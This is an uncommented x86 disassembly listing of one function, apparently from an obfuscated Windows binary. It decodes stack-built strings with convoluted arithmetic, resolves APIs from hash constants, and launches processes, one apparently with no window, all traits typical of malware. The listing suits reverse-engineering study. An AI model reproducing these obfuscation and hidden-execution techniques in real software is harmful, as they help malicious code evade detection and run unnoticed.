mov dword [esp + 0xc], 0
call fcn.0040b6e0
shl eax, 1
add esi, eax
mov edi, esi
mov al, byte [esp + 0x3b]
test al, 1
jne 0x414319
jmp 0x41434d
mov eax, edi
add eax, 2
mov word [edi], 0x2c
xor ecx, ecx
mov dword [esp], eax
mov eax, dword [esp + 0x2b8]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x150]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040b6e0
jmp 0x41434d
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x28], 0
mov dword [esp + 0x4c], 0
jmp 0x414676
mov dword [esp + 0x30], 0
cmp eax, 2
je 0x414378
jmp 0x414676
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call fcn.00415500
add eax, 0x1d
add eax, 1
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4143a0
mov ecx, eax
mov dword [esp], ecx
call fcn.00408c90
mov dword [esp + 0x30], eax
mov al, byte [esp + 0x168]
mov byte [esp + 0x218], al
mov byte [esp + 0x66], 0x2e
mov byte [esp + 0x67], 0xcd
mov byte [esp + 0x68], 0xce
mov byte [esp + 0x69], 0xcf
xor eax, eax
cmp eax, 4
jae 0x414407
movzx edx, byte [esp + eax + 0x66]
mov ecx, eax
add ecx, 0xac
mov esi, 0x53
sub esi, eax
mov edi, 0x53
sub edi, eax
and esi, edi
or ecx, edx
xor edx, 0xffffffff
or esi, edx
and ecx, esi
add cl, 0xa0
mov byte [esp + eax + 0x66], cl
add eax, 1
jmp 0x4143d0
mov al, byte [esp + 0x164]
mov byte [esp + 0x21c], al
mov byte [esp + 0x116], 0xe3
mov byte [esp + 0x117], 0x74
mov byte [esp + 0x118], 0xea
mov byte [esp + 0x119], 0x76
mov byte [esp + 0x11a], 0xe0
mov byte [esp + 0x11b], 0x68
mov byte [esp + 0x11c], 0x8c
mov byte [esp + 0x11d], 0x6a
mov byte [esp + 0x11e], 0xf9
mov byte [esp + 0x11f], 0x6c
mov byte [esp + 0x120], 0xfe
mov byte [esp + 0x121], 0x6e
mov byte [esp + 0x122], 0xf7
mov byte [esp + 0x123], 0x60
mov byte [esp + 0x124], 0x84
mov byte [esp + 0x125], 0x62
mov byte [esp + 0x126], 0xff
mov byte [esp + 0x127], 0x64
mov byte [esp + 0x128], 0xf9
mov byte [esp + 0x129], 0x66
mov byte [esp + 0x12a], 0x47
mov byte [esp + 0x12b], 0x18
mov byte [esp + 0x12c], 0xc4
mov byte [esp + 0x12d], 0x1a
mov byte [esp + 0x12e], 0xfe
mov byte [esp + 0x12f], 0x1c
mov byte [esp + 0x130], 0x95
mov byte [esp + 0x131], 0x1e
mov byte [esp + 0x132], 0xfa
mov byte [esp + 0x133], 0x10
mov byte [esp + 0x134], 0xf2
mov byte [esp + 0x135], 0x12
mov byte [esp + 0x136], 0x33
mov byte [esp + 0x137], 0x14
mov byte [esp + 0x138], 0xf7
mov byte [esp + 0x139], 0x16
mov byte [esp + 0x13a], 0x9e
mov byte [esp + 0x13b], 8
mov byte [esp + 0x13c], 0x99
mov byte [esp + 0x13d], 0xa
mov byte [esp + 0x13e], 0xea
mov byte [esp + 0x13f], 0xc
mov byte [esp + 0x140], 0x9e
mov byte [esp + 0x141], 0xe
mov byte [esp + 0x142], 0x9c
mov byte [esp + 0x143], 0
mov byte [esp + 0x144], 0x21
mov byte [esp + 0x145], 2
mov byte [esp + 0x146], 0xde
mov byte [esp + 0x147], 4
mov byte [esp + 0x148], 0xe3
mov byte [esp + 0x149], 6
mov byte [esp + 0x14a], 0x27
mov byte [esp + 0x14b], 0x38
mov byte [esp + 0x14c], 0x1b
mov byte [esp + 0x14d], 0x3a
mov byte [esp + 0x14e], 0x3b
mov byte [esp + 0x14f], 0x3c
xor eax, eax
mov edi, dword [esp + 0x2c]
cmp eax, 0x3a
jae 0x414637
movzx edx, byte [esp + eax + 0x116]
mov ecx, eax
add ecx, 0x84c6bd2b
mov esi, ecx
and esi, edx
shl esi, 1
sub ecx, esi
add ecx, edx
mov esi, ecx
xor esi, 0x58
mov edx, ecx
or edx, 0xa7
and edx, esi
mov esi, ecx
and esi, 0x58
xor esi, 0x58
and ecx, 0x58
xor ecx, 0x58
or ecx, esi
sub edx, ecx
mov byte [esp + eax + 0x116], dl
add eax, 1
jmp 0x4145eb
lea eax, [esp + 0x116]
mov ecx, dword [esp + 0x30]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040a9a0
mov dword [esp], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 4], eax
call fcn.0040a9a0
lea ecx, [esp + 0x66]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0040a9a0
mov dword [esp + 0x4c], 2
xor eax, eax
cmp eax, 0
je 0x414990
jmp 0x41505a
xor edi, 1
mov eax, dword [esp + 0x4c]
xor eax, 2
or edi, eax
sete al
mov dword [esp + 0x30], 0
test al, 1
mov dword [esp + 0x28], 0
mov edi, dword [esp + 0x2c]
jne 0x4146b2
jmp 0x414990
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.00415080
mov edi, eax
add edi, 1
mov ecx, 2
mov eax, edi
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4146db
mov ecx, eax
mov dword [esp], ecx
call fcn.00408c90
mov esi, eax
mov eax, dword [esp + 0x34]
xor ecx, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040b6e0
mov eax, dword [esp + 0x25c]
mov ecx, eax
and ecx, 0x18
shl ecx, 1
xor eax, 0x18
add eax, ecx
sub eax, 0xffffffff
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41472f
mov ecx, eax
mov dword [esp], ecx
call fcn.00408c90
mov dword [esp + 0x30], eax
mov al, byte [esp + 0x160]
mov byte [esp + 0x220], al
mov byte [esp + 0xe4], 0xf0
mov byte [esp + 0xe5], 0x81
mov byte [esp + 0xe6], 0xed
mov byte [esp + 0xe7], 0x83
mov byte [esp + 0xe8], 0xf3
mov byte [esp + 0xe9], 0x85
mov byte [esp + 0xea], 0xe3
mov byte [esp + 0xeb], 0x87
mov byte [esp + 0xec], 0xfa
mov byte [esp + 0xed], 0x89
mov byte [esp + 0xee], 0xf9
mov byte [esp + 0xef], 0x8b
mov byte [esp + 0xf0], 0xe4
mov byte [esp + 0xf1], 0x8d
mov byte [esp + 0xf2], 0xeb
mov byte [esp + 0xf3], 0x8f
mov byte [esp + 0xf4], 0xfc
mov byte [esp + 0xf5], 0x91
mov byte [esp + 0xf6], 0xfe
mov byte [esp + 0xf7], 0x93
mov byte [esp + 0xf8], 0xb4
mov byte [esp + 0xf9], 0x95
mov byte [esp + 0xfa], 0xbb
mov byte [esp + 0xfb], 0x97
mov byte [esp + 0xfc], 0xfd
mov byte [esp + 0xfd], 0x99
mov byte [esp + 0xfe], 0xe2
mov byte [esp + 0xff], 0x9b
mov byte [esp + 0x100], 0xf9
mov byte [esp + 0x101], 0x9d
mov byte [esp + 0x102], 0xfd
mov byte [esp + 0x103], 0x9f
mov byte [esp + 0x104], 0x80
mov byte [esp + 0x105], 0xa1
mov byte [esp + 0x106], 0xc0
mov byte [esp + 0x107], 0xa3
mov byte [esp + 0x108], 0xdd
mov byte [esp + 0x109], 0xa5
mov byte [esp + 0x10a], 0xd6
mov byte [esp + 0x10b], 0xa7
mov byte [esp + 0x10c], 0xc9
mov byte [esp + 0x10d], 0xa9
mov byte [esp + 0x10e], 0xd9
mov byte [esp + 0x10f], 0xab
mov byte [esp + 0x110], 0xdf
mov byte [esp + 0x111], 0xad
mov byte [esp + 0x112], 0x8e
mov byte [esp + 0x113], 0xaf
mov byte [esp + 0x114], 0xb0
mov byte [esp + 0x115], 0xb1
xor eax, eax
cmp eax, 0x32
jae 0x41494d
movzx edi, byte [esp + eax + 0xe4]
mov edx, eax
add edx, 0xaedaa680
mov ecx, 0x5125597f
sub ecx, eax
and ecx, 0x412888d7
mov dword [esp + 0x2b4], esi
mov esi, edx
and esi, 0xbed77728
or ecx, esi
xor ecx, edi
xor ecx, 0x412888d7
mov esi, eax
xor esi, 0x80
and esi, edi
or ecx, esi
and edx, edi
sub ecx, edx
mov edx, ecx
add edx, 0x892acbff
mov esi, edx
and esi, 1
and edx, 1
sub ecx, edx
add ecx, esi
mov esi, dword [esp + 0x2b4]
mov byte [esp + eax + 0xe4], cl
add eax, 1
jmp 0x4148db
lea eax, [esp + 0xe4]
mov ecx, dword [esp + 0x30]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040a9a0
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.0040a9a0
mov edi, dword [esp + 0x2c]
mov dword [esp], esi
call fcn.00408ca0
jmp 0x41497e
mov dword [esp + 0x28], 0
mov dword [esp + 0x4c], 2
jmp 0x414990
mov ecx, dword [esp + 0x4c]
test ecx, ecx
je 0x4149b5
jmp 0x41499a
mov eax, ecx
sub eax, 1
je 0x414b3b
jmp 0x4149a7
sub ecx, 2
je 0x414dee
jmp 0x415019
mov al, byte [esp + 0x59]
test al, 1
jne 0x4149c2
jmp 0x414b3b
lea edi, [esp + 0x338]
xor eax, eax
mov ecx, 0x11
rep stosd dword es:[edi], eax
mov dword [esp + 0x338], 0x44
call fcn.00415520
call fcn.00415520
mov eax, dword [0x4487d8]
mov dword [esp], eax
mov dword [esp + 4], 0x755f867b
call fcn.0043d2a0
test eax, eax
setne cl
xor ecx, ecx
lea ecx, [esp + 0x338]
lea edx, [esp + 0x2e4]
mov esi, dword [esp + 0x28]
mov dword [esp], esi
mov edi, dword [esp + 0x30]
mov dword [esp + 4], edi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], edx
call eax
sub esp, 0x28
cmp eax, 0
je 0x414b32
mov esi, dword [esp + 0x2e4]
mov al, byte [esp + 0x1c8]
mov byte [esp + 0x234], al
mov byte [esp + 0x86], 0xe7
mov byte [esp + 0x87], 0xe6
mov byte [esp + 0x88], 0xe5
mov byte [esp + 0x89], 0xe4
xor eax, eax
cmp eax, 4
jae 0x414abf
mov cl, byte [esp + eax + 0x86]
mov dl, al
add dl, 0x58
xor dl, cl
add dl, 0x40
mov byte [esp + eax + 0x86], dl
add eax, 1
jmp 0x414a9d
mov ecx, dword [esp + 0x86]
xor edi, edi
cmp edi, dword [0x4497e4]
jb 0x414ad2
jmp 0x414b30
mov eax, dword [0x4497e8]
cmp dword [eax + edi*8], 0xb430e561
sete dl
test dl, 1
jne 0x414ae8
jmp 0x414b24
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
je 0x414b24
mov dword [esp + 0x288], ecx
mov ecx, dword [0x4497ec]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov dword [esp + 0xc], esi
mov byte [esp + 0x52], dl
call fcn.0043b5f0
mov dl, byte [esp + 0x52]
mov ecx, dword [esp + 0x288]
test dl, 1
je 0x414b2b
jmp 0x414b30
add edi, 1
jmp 0x414ac8
jmp 0x414b32
mov edi, dword [esp + 0x2c]
jmp 0x415019
mov eax, dword [0x4487d8]
mov dword [esp], eax
mov dword [esp + 4], 0x4e0c8565
call fcn.0043d2a0
cmp eax, 0
setne cl
test cl, 1
jne 0x414b5b
test cl, 1
jne 0x414b62
xor eax, eax
mov ecx, dword [esp + 0x34]
xor edx, edx
lea edx, [0x4222d0]
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call eax
sub esp, 0x18
mov dword [esp + 0x254], eax
cmp eax, 0
je 0x414de9
mov cl, byte [esp + 0x15c]
mov byte [esp + 0x224], cl
mov byte [esp + 0x96], 0x95
mov byte [esp + 0x97], 0xdc
mov byte [esp + 0x98], 0x5b
mov byte [esp + 0x99], 0x44
mov byte [esp + 0x9a], 0x66
mov byte [esp + 0x9b], 0x65
mov byte [esp + 0x9c], 0x64
mov byte [esp + 0x9d], 0x63
xor ecx, ecx
cmp ecx, 8
jae 0x414c34
movzx edi, byte [esp + ecx + 0x96]
mov edx, ecx
add edx, 0xa0f54b7d
mov esi, edx
and esi, edi
shl esi, 1
mov eax, ebx
mov ebx, edx
and ebx, edi
shl ebx, 1
xor edx, edi
add edx, ebx
mov ebx, eax
sub edx, esi
add dl, 0x18
mov byte [esp + ecx + 0x96], dl
add ecx, 1
jmp 0x414bfa
mov ecx, dword [esp + 0x96]
mov edx, dword [esp + 0x9a]
mov dword [esp + 0x2cc], edx
mov dword [esp + 0x2c8], ecx
mov cl, byte [esp + 0x228]
mov byte [esp + 0x22c], cl
mov byte [esp + 0x8e], 0xe7
mov byte [esp + 0x8f], 0xe6
mov byte [esp + 0x90], 0xe5
mov byte [esp + 0x91], 0xe4
xor ecx, ecx
cmp ecx, 4
jae 0x414ca2
mov dl, byte [esp + ecx + 0x8e]
mov dh, cl
add dh, 0x58
xor dh, dl
add dh, 0x40
mov byte [esp + ecx + 0x8e], dh
add ecx, 1
jmp 0x414c80
mov eax, dword [esp + 0x8e]
xor edi, edi
cmp edi, dword [0x4497e4]
jb 0x414cb5
jmp 0x414d28
mov ecx, dword [0x4497e8]
cmp dword [ecx + edi*8], 0xa67d73aa
sete dl
test dl, 1
jne 0x414ccc
jmp 0x414d1c
mov ecx, dword [ecx + edi*8 + 4]
cmp ecx, eax
je 0x414d1c
mov byte [esp + 0x57], dl
mov edx, dword [0x4497ec]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xc
mov esi, eax
mov eax, dword [esp + 0x254]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [esp + 0x2c8]
mov dword [esp + 0x14], eax
call fcn.0043b5f0
mov dl, byte [esp + 0x57]
mov eax, esi
jmp 0x414d1c
test dl, 1
je 0x414d23
jmp 0x414d28
add edi, 1
jmp 0x414cab
mov cl, byte [esp + 0x1c4]
mov byte [esp + 0x238], cl
mov byte [esp + 0x82], 0xe7
mov byte [esp + 0x83], 0xe6
mov byte [esp + 0x84], 0xe5
mov byte [esp + 0x85], 0xe4
xor ecx, ecx
cmp ecx, 4
jae 0x414d7a
mov dl, byte [esp + ecx + 0x82]
mov dh, cl
add dh, 0x58
xor dh, dl
add dh, 0x40
mov byte [esp + ecx + 0x82], dh
add ecx, 1
jmp 0x414d58
mov esi, dword [esp + 0x82]
xor edi, edi
cmp edi, dword [0x4497e4]
jb 0x414d8d
jmp 0x414de3
mov ecx, dword [0x4497e8]
cmp dword [ecx + edi*8], 0xb430e561
sete al
test al, 1
jne 0x414da3
jmp 0x414dd8
mov ecx, dword [ecx + edi*8 + 4]
cmp ecx, esi
je 0x414dd8
mov edx, dword [0x4497ec]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 4
mov byte [esp + 0x53], al
mov eax, dword [esp + 0x254]
mov dword [esp + 0xc], eax
call fcn.0043b5f0
mov al, byte [esp + 0x53]
test al, 1
je 0x414dde
jmp 0x414de3
add edi, 1
jmp 0x414d83
mov edi, dword [esp + 0x2c]
jmp 0x414de9
jmp 0x415019
call fcn.00415520
lea edi, [esp + 0x2f4]
xor eax, eax
mov ecx, 0x11
rep stosd dword es:[edi], eax
mov dword [esp + 0x2f4], 0x44
call fcn.00415520
call fcn.00415520
mov eax, dword [0x4487d8]
mov dword [esp], eax
mov dword [esp + 4], 0x755f867b
call fcn.0043d2a0
test eax, eax
setne cl
xor ecx, ecx
lea ecx, [esp + 0x2f4]
lea edx, [esp + 0x2d4]
mov dword [esp], 0
mov edi, dword [esp + 0x30]
mov dword [esp + 4], edi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], edx
call eax
sub esp, 0x28
cmp eax, 0
setne al
test al, 1
mov edi, dword [esp + 0x2c]
jne 0x414ea1
jmp 0x415017
mov esi, dword [esp + 0x2d8]
mov al, byte [esp + 0x1c0]
mov byte [esp + 0x23c], al
mov byte [esp + 0x7e], 0xe7
mov byte [esp + 0x7f], 0xe6
mov byte [esp + 0x80], 0xe5
mov byte [esp + 0x81], 0xe4
xor eax, eax
cmp eax, 4
jae 0x414eee
mov cl, byte [esp + eax + 0x7e]
mov dl, al
add dl, 0x58
xor dl, cl
add dl, 0x40
mov byte [esp + eax + 0x7e], dl
add eax, 1
jmp 0x414ed2
mov ecx, dword [esp + 0x7e]
xor edi, edi
cmp edi, dword [0x4497e4]
jb 0x414efe
jmp 0x414f5c
mov eax, dword [0x4497e8]
cmp dword [eax + edi*8], 0xb430e561
sete dl
test dl, 1
jne 0x414f14
jmp 0x414f50
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
je 0x414f50
mov dword [esp + 0x290], ecx
mov ecx, dword [0x4497ec]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov dword [esp + 0xc], esi
mov byte [esp + 0x55], dl
call fcn.0043b5f0
mov dl, byte [esp + 0x55]
mov ecx, dword [esp + 0x290]
test dl, 1
je 0x414f57
jmp 0x414f5c
add edi, 1
jmp 0x414ef4
mov esi, dword [esp + 0x2d4]
mov al, byte [esp + 0x1bc]
mov byte [esp + 0x240], al
mov byte [esp + 0x7a], 0xe7
mov byte [esp + 0x7b], 0xe6
mov byte [esp + 0x7c], 0xe5
mov byte [esp + 0x7d], 0xe4
xor eax, eax
cmp eax, 4
jae 0x414fa3
mov cl, byte [esp + eax + 0x7a]
mov dl, al
add dl, 0x58
xor dl, cl
add dl, 0x40
mov byte [esp + eax + 0x7a], dl
add eax, 1
jmp 0x414f87
mov ecx, dword [esp + 0x7a]
xor edi, edi
cmp edi, dword [0x4497e4]
jb 0x414fb3
jmp 0x415011
mov eax, dword [0x4497e8]
cmp dword [eax + edi*8], 0xb430e561
sete dl
test dl, 1
jne 0x414fc9
jmp 0x415005
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
je 0x415005
mov dword [esp + 0x28c], ecx
mov ecx, dword [0x4497ec]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov dword [esp + 0xc], esi
mov byte [esp + 0x54], dl
call fcn.0043b5f0
mov dl, byte [esp + 0x54]
mov ecx, dword [esp + 0x28c]
test dl, 1
je 0x41500c
jmp 0x415011
add edi, 1
jmp 0x414fa9
mov edi, dword [esp + 0x2c]
jmp 0x415017
jmp 0x415019
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.00439bd0
cmp dword [esp + 0x28], 0
sete al
jmp 0x41502f
test al, 1
jne 0x415043
jmp 0x415035
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call fcn.00408ca0
jmp 0x415043
cmp dword [esp + 0x30], 0
je 0x415058
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call fcn.00408ca0
jmp 0x415058
jmp 0x41505a
xor eax, eax
sub eax, edi
add eax, 0xffffffff
xor edi, edi
sub edi, eax
jmp 0x412f9c
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret